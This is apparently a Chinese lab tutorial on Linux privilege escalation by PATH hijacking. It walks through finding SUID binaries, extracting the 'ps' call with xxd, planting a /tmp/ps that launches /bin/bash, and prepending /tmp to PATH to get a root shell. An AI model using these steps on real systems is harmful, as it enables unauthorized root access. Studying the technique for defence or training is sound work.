当前位置: 首页 > news >正文

Linux提权之环境劫持提权(九)

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令

还是一样的环境 跟第八篇 这里不再多说了

首先我们接着上篇文章 继续

首先我们退出到根目录

然后我们要查找suid文件

find / -perm -u=s -type f 2>/dev/null

输入 ps 或者 script/shell 通常这个文件是存放的系统的ps指令

效果是一样的

这个demo.c就是shell文件的源代码

我们同样可以使用xxd命令来将里面的带有的命令提取出来。

xxd /script/shell | grep ps

然后我们回到tmp临时目录

把这个bin/bash 写入 ps

echo "/bin/bash" > ps

然后把权限设置为最高权限

chmod 777 ps

打印一下我们默认的路径

ehco $PATH

把我们的tmp的路径添加到当前环境路径

export PATH=/tmp:$PATH

然后再次打印输出 发现已经加入了tmp目录

弄好之后再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目录的ps文件作为命令

cd /script

./shell

然后出现root用户

相关文章:

  • 大语言模型中的 Token如何理解?
  • Linux 命令大全完整版(03)
  • 【嵌入式Linux应用开发基础】多线程编程
  • 基于AIGC的图表自动化生成工具「图表狐」深度评测:如何用自然语言30秒搞定专业级数据可视化?
  • ABC381E题解
  • 数据结构之二叉树的定义及实现
  • Unity使用IL2CPP打包时,我们应该注意什么?如何避免(可以举例说明)
  • 创建虚拟环境以及配置对应的项目依赖
  • DeepSeek技术全景解析:架构创新与行业差异化竞争力
  • Spring Boot数据访问(JDBC)全解析:从基础配置到高级调优
  • 20-R 绘图 - 饼图
  • 游戏设计模式阅读 - 游戏循环
  • Spring Security+JWT (5)
  • 红队内网攻防渗透:内网渗透之内网对抗:实战项目VPC2打靶父子域三层路由某绒免杀下载突破约束委派域控提权
  • 深度解析:大模型在多显卡服务器下的通信机制与分布式训练——以DeepSeek、Ollama和vLLM为例
  • 安全面试4
  • 谷歌浏览器更新后导致的刷新数据无法显示
  • C++标准库提供了哪些智能指针类型以及它们的区别
  • 小红书运营教程(内容笔记01)
  • 网络安全 | 信息安全管理体系(ISMS)
  • 上传图片到 wordpress评论/南京百度seo排名
  • WordPress百度自动翻译/西安百度关键词优化排名
  • 成都游戏网站开发/网络营销公司排行
  • 企业门户网站建设论文/关键词有哪几种
  • 有没有免费网站制作/百度网站排名优化
  • 免费用手机建立网站/常见的网络营销方法有哪些